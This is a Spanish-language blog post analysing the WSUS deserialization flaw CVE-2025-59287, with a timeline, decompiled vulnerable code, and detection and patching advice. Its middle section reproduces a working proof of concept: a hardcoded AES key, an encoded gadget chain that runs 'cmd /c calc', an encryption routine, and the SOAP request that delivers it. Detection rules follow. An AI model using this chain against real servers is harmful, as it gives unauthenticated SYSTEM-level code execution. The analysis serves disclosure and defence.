CVE‑2025‑59287 o cómo WSUS se rompió al deserializar

Si tenéis servidores WSUS respirad hondo. CVE-2025-59287 es una deserialización insegura en el servicio Windows Server Update Services (WSUS) que permite a un atacante no autenticado, mediante peticiones al endpoint de WSUS, inducir la deserialización de datos malformados y alcanzar ejecución remota con privilegios del servicio. 

Antes de entrar al meollo: sí, hubo quien avisó antes que Microsoft — NVD y varios vendors/CTI publicaron entradas y avisos; HawkTrace publicó el análisis técnico el 18/10 y eso fue el punto de inflexión que forzó la reacción acelerada del vendor: Microsoft terminó sacando un parche out-of-band (23–24 Oct 2025) tras publicaciones técnicas y evidencias de explotación.

  • 14 Oct 2025 — NVD publica la entrada del CVE (CWE-502, deserialización): NVD
  • 18 Oct 2025 — HawkTrace publica su análisis técnico: HawkTrace
  • 20–23 Oct 2025 — vendors y equipos de CTI (Tenable, CrowdStrike, Check Point, etc.) ya tenían fichas/alertas y algunos MSP/EDR recibían avisos. Ej. Tenable
  • 23–24 Oct 2025 — Microsoft publica el parche OOB para WSUS. Microsoft Support
  • 24 Oct 2025 en adelante — equipos como Huntress reportan observaciones de explotación en campo (limitadas, pero reales).

Dicho ésto vamos a lo que nos interesa. La vulnerabilidad reside en la ruta de tratamiento de ciertas entradas externas (peticiones SOAP/HTTP que WSUS expone — por ejemplo endpoints como /ClientWebService/ClientWebService.asmx y rutas relacionadas con SoftwareDistribution) donde WSUS recibe datos que contienen objetos serializados. 

El usuario envía una solicitud. Tras procesarla, la primera parte llega aquí, donde recupera valores como la cookie y la fecha de los datos proporcionados.

public Cookie GetCookie(AuthorizationCookie[] authCookies, Cookie oldCookie, DateTime lastChange, DateTime currentTime, string protocolVersion)
		{
			if (Client.clientImplementation == null)
			{
				Client.CreateClientImplementation();
			}
			string ipaddress = this.GetIPAddress();
			return Client.clientImplementation.GetCookie(authCookies, oldCookie, lastChange, currentTime, protocolVersion, ipaddress);
		}

Como veis se llama al método ClientImplementation.GetCookie. Este método realiza varias operaciones, como comprobar si la cookie está vacía e intenta analizar la versión del protocolo. Si todo funciona correctamente, pasa los datos al otro método, AuthorizationManager.GetCookie.

A continuación, procede al método CrackAuthorizationCookie, que verifica el ID del plugin proporcionado en SOAP.

En UnencryptedAuthorizationCookieData y CrackAuthorizationCookie, verifica si la cookie está vacía y la pasa al método DecryptData:

	internal object DecryptData(byte[] cookieData)
		{
			if (cookieData == null)
			{
				throw new LoggedArgumentNullException("cookieData");
			}
			ICryptoTransform cryptoTransform = this.cryptoServiceProvider.CreateDecryptor();
			byte[] array;
			try
			{
				if (cookieData.Length % cryptoTransform.InputBlockSize != 0 || cookieData.Length <= cryptoTransform.InputBlockSize)
				{
					throw new LoggedArgumentException("Can't decrypt bogus cookieData; data is size, " + cookieData.Length.ToString() + ", which is not a multiple of " + cryptoTransform.InputBlockSize.ToString(), "cookieData");
				}
				array = new byte[cookieData.Length - cryptoTransform.InputBlockSize];
				cryptoTransform.TransformBlock(cookieData, 0, cryptoTransform.InputBlockSize, EncryptionHelper.scratchBuffer, 0);
				cryptoTransform.TransformBlock(cookieData, cryptoTransform.InputBlockSize, cookieData.Length - cryptoTransform.InputBlockSize, array, 0);
			}
			finally
			{
				cryptoTransform.Dispose();
			}
			object obj = null;
			if (this.classType == typeof(UnencryptedCookieData))
			{
				UnencryptedCookieData unencryptedCookieData = new UnencryptedCookieData();
				try
				{
					unencryptedCookieData.Deserialize(array);
				}
				catch (Exception ex)
				{
					if (ex is OutOfMemoryException)
					{
						throw;
					}
					throw new LoggedArgumentException(ex.ToString(), "cookieData");
				}
				obj = unencryptedCookieData;
			}
			else
			{
				BinaryFormatter binaryFormatter = new BinaryFormatter();
				MemoryStream memoryStream = new MemoryStream(array);
				try
				{
					obj = binaryFormatter.Deserialize(memoryStream);
				}
				catch (Exception ex2)
				{
					if (ex2 is OutOfMemoryException)
					{
						throw;
					}
					throw new LoggedArgumentException(ex2.ToString(), "cookieData");
				}
				if (obj.GetType() != this.classType)
				{
					throw new LoggedArgumentException("Decrypted cookie has the wrong data type. Expected type = " + this.classType.ToString() + ", actual type = " + obj.GetType().ToString(), "cookieData");
				}
			}
			return obj;
		}

Este método procesa los datos de cookies cifrados mediante los siguientes pasos:

  • Validación de entrada: Comprueba si cookieData es nulo y valida la alineación del tamaño del bloque.
  • Descifrado: Utiliza AES-128-CBC mediante cryptoServiceProvider.CreateDecryptor() para descifrar los datos de las cookies.
  • Procesamiento de bloques: Divide y transforma los datos cifrados en bloques descifrados.
  • Comprobación de tipo: Determina si los datos son UnencryptedCookieData o requieren deserialización.
  • Deserialización insegura: Si no son UnencryptedCookieData, pasa los bytes descifrados directamente a BinaryFormatter.Deserialize().
  • Este último paso representa la vulnerabilidad crítica: los payloads maliciosos cifrados pueden deserializarse, lo que provoca la ejecución remota de código.
Aquí tenéis también el código de HawkTrace para generar un payload:
static void Main()
        {
            //key
            string hexKey = "877C14E433638145AD21BD0C17393071";
            byte[] key = new byte[16];
            for (int i = 0; i < 16; i++)
                key[i] = Convert.ToByte(hexKey.Substring(i * 2, 2), 16);

            string ysooo = "AAEAAAD/////AQAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAFQ291bnQIQ29tcGFyZXIHVmVyc2lvbgVJdGVtcwADAAYIjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0IAgAAAAIAAAAJAwAAAAIAAAAJBAAAAAQDAAAAjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0BAAAAC19jb21wYXJpc29uAyJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyCQUAAAARBAAAAAIAAAAGBgAAAAcvYyBjYWxjBgcAAAADY21kBAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUHbWV0aG9kMAdtZXRob2QxAwMDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeS9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkIAAAACQkAAAAJCgAAAAQIAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BgsAAACwAlN5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GDAAAAEttc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkKBg0AAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQYOAAAAGlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzBg8AAAAFU3RhcnQJEAAAAAQJAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQkPAAAACQ0AAAAJDgAAAAYUAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhUAAAA+U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEKAAAACQAAAAYWAAAAB0NvbXBhcmUJDAAAAAYYAAAADVN5c3RlbS5TdHJpbmcGGQAAACtJbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhoAAAAyU3lzdGVtLkludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEQAAAACAAAAAYbAAAAcVN5c3RlbS5Db21wYXJpc29uYDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCQwAAAAKCQwAAAAJGAAAAAkWAAAACgs=";

            byte[] ser = Convert.FromBase64String(ysooo);
            byte[] enc = EncryptPayload(ser, key);
            string base64Payload = Convert.ToBase64String(enc);
            Console.WriteLine(base64Payload);
   
        }

        static byte[] EncryptPayload(byte[] data, byte[] key)
        {
            using (var aes = new AesCryptoServiceProvider())
            {
                aes.Key = key;
                aes.Mode = CipherMode.CBC;
                aes.Padding = PaddingMode.None;
                aes.IV = new byte[16]; // null

                byte[] salt = new byte[16];
                new RNGCryptoServiceProvider().GetNonZeroBytes(salt);

                using (var encryptor = aes.CreateEncryptor())
                {
                    int num = data.Length % encryptor.InputBlockSize;
                    int num2 = data.Length - num;
                    byte[] result = new byte[encryptor.InputBlockSize + num2 + encryptor.OutputBlockSize];
                    encryptor.TransformBlock(salt, 0, salt.Length, result, 0);
                    encryptor.TransformBlock(data, 0, num2, result, salt.Length);
                    byte[] paddedBlock = new byte[encryptor.InputBlockSize];
                    for (int i = 0; i < num; i++)
                    {
                        paddedBlock[i] = data[num2 + i];
                    }
                    encryptor.TransformBlock(paddedBlock, 0, paddedBlock.Length, result, salt.Length + num2);

                    return result;
                }
            }
        }
Efecticamente, el código anterior construye un objeto serializado (.NET BinaryFormatter) que, una vez descifrado y deserializado por el servidor vulnerable, ejecutaría código arbitrario a través de un gadget chain. En este caso invocaría Process.Start con la cadena cmd /c calc construido seguramente con yoserial.

Y el resultado habría que añadirlo aquí para entregarlo al servidor WSUS — el elemento <CookieData> dentro del AuthorizationCookie del método GetCookie.
POST /ClientWebService/Client.asmx HTTP/1.1
Host: WSUS-SERVER:8530
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie"
Content-Length: 3632

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <GetCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
      <authCookies>
        <AuthorizationCookie>
          <PlugInId>SimpleTargeting</PlugInId>
          <CookieData>[GENERATED PAYLOAD]</CookieData>
        </AuthorizationCookie>
      </authCookies>
      <oldCookie xsi:nil="true" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"/>
      <protocolVersion>1.20</protocolVersion>
    </GetCookie>
  </soap:Body>
</soap:Envelope>
Como veis, el análisis de HawkTrace lo aterriza perfectamente apuntando a la deserialización insegura de objetos AuthorizationCookie enviados al endpoint GetCookie(), donde los datos de cookies cifrados se descifran utilizando AES-128-CBC y posteriormente se deserializan a través de BinaryFormatter sin la validación de tipo adecuada, lo que permite la ejecución remota de código con privilegios de SYSTEM.

Detección práctica e IOCs que ya puedes usar (inmediato)

  1. Detectar el blob en red / IIS

    • Buscar POST a /ClientWebService/Client.asmx con SOAPAction: GetCookie y CookieData que, al decodificar Base64, comience por AAEAAAD///// o contenga /c ....

    • Regla Suricata orientativa:

      alert http any any -> $HOME_NET 8530 (msg:"WSUS - possible BinaryFormatter payload (calc)"; flow:to_server,established; http.method; content:"/ClientWebService/Client.asmx"; http.header; content:"GetCookie"; pcre:"/CookieData>[^<]*AAEAAAD/////|/c calc/i"; sid:1003001; rev:1;)
  2. Detectar ejecución en host (Sysmon/EventID)

    • Sysmon EventID 1 (Process Create): procesos cmd.exe o calc.exe con ParentImage siendo el proceso WSUS (w3wp.exe, WsusService.exe, svchost.exe según despliegue).

    • Query ejemplo (Splunk):

      index=sysmon EventID=1 | where Image IN ("*\\cmd.exe","*\\calc.exe") | where ParentImage IN ("*\\w3wp.exe","*\\WsusService.exe","*\\svchost.exe") | stats count by Computer, Image, ParentImage, CommandLine, _time
  3. Correlación: si ves una petición SOAP sospechosa y a la vez un Process Create coherente en la misma ventana temporal, considera host comprometido.

Recomendaciones inmediatas (si gestionas la infraestructura)

  • Parchea YA todos los servidores WSUS con el OOB de Microsoft.
  • Si no puedes parchear de inmediato: aisla/bloquea acceso externo a 8530/8531 y limita a subredes de administración.
  • Habilita/afina telemetría: Sysmon con captura de línea de comando, EDR con detección de creación de procesos por los servicios WSUS, y reglas IDS para blobs BinaryFormatter.
  • Si ya detectas una petición con este blob y procesos creados: aisla el host y toma acciones forenses (volcado de memoria, recolección de logs).

Comentarios